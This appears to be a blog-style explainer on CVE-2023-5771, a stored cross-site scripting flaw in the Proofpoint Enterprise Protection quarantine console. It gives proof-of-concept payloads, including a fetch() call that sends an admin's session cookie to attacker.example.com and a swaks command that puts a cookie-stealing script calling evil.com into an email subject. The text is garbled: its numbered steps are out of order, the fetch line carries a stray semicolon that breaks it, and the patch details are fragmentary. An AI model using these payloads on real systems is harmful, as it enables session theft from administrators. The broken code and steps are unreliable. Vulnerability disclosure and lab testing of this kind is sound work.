Proofpoint Enterprise Protection is a popular email security product that helps organizations filter out spam, phishing, and malware at the gateway. However, in late 2023, a serious vulnerability was discovered: CVE-2023-5771. This bug allows attackers to inject malicious scripts into the admin console, putting a company’s email and sensitive information at risk.

In this long read, we'll break down the vulnerability, show how it works, and provide simple code samples to help you test it (in a safe lab, of course). We'll also talk about how to protect yourself and where to find original advisories.

What is CVE-2023-5771?

CVE-2023-5771 is a stored cross-site scripting (XSS) bug affecting multiple versions of Proofpoint Enterprise Protection. With this, an attacker can execute JavaScript in the context of an admin user.

Admin logs into the Proofpoint AdminUI to review quarantined messages.

5. The injected HTML/JavaScript runs as soon as the admin views the email in quarantine.

The Exploit

Proofpoint’s quarantine console displays email metadata like subjects without properly escaping special characters, so HTML tags in the subject get interpreted as code.

Example malicious subject

"><img src=x onerror=alert('XSS')>

Here’s how the actual exploit might look (sent as email subject)

<html>
  <head></head>
  <body>
    <script>
      // Steal admin's session
      fetch('https://attacker.example.com/?cookie='; + document.cookie);
    </script>
  </body>
</html>

Any admin viewing the quarantined email would unknowingly send their session cookie to the attacker’s server.

Step-by-Step Proof of Concept

Below is a sanitized, high-level POC. Use ONLY in a safe, legal environment you control.

Using a tool like swaks or Python, send

swaks --to victim@company.com \
  --from attacker@evil.com \
  --header "Subject: <script>fetch('https://evil.com?c='+document.cookie)</script>" \
  --body "This is a test"

2. Wait for email to be quarantined

Make sure email is flagged and ends up in the Proofpoint quarantine.

3. Open the Proofpoint AdminUI

Have the admin sign in and view the "Quarantined Messages" page.

4. Observe the exploit

The JavaScript executes under the admin’s session, for example, sending cookies to the attacker.

Protecting Yourself

Patches:

8.18.6 patch 4795

Update immediately if you haven’t already.
Release notes and patches:
- Proofpoint Enterprise Release Notes
- CVE page: NIST NVD Entry for CVE-2023-5771

Closing Thoughts

CVE-2023-5771 is a great example of why even security software needs secure coding, especially around data from untrusted sources like user email. The root cause is simple: failure to properly sanitize or escape HTML in user-supplied fields.

If you run Proofpoint Enterprise Protection, patch as soon as possible.

References

- Proofpoint Security Advisories
- NIST CVE-2023-5771
- Swaks - Swiss Army Knife for SMTP

Stay secure! If you found this helpful, share with your IT or SecOps team.

Timeline

Published on: 11/06/2023 21:15:10 UTC
Last modified on: 11/14/2023 19:02:58 UTC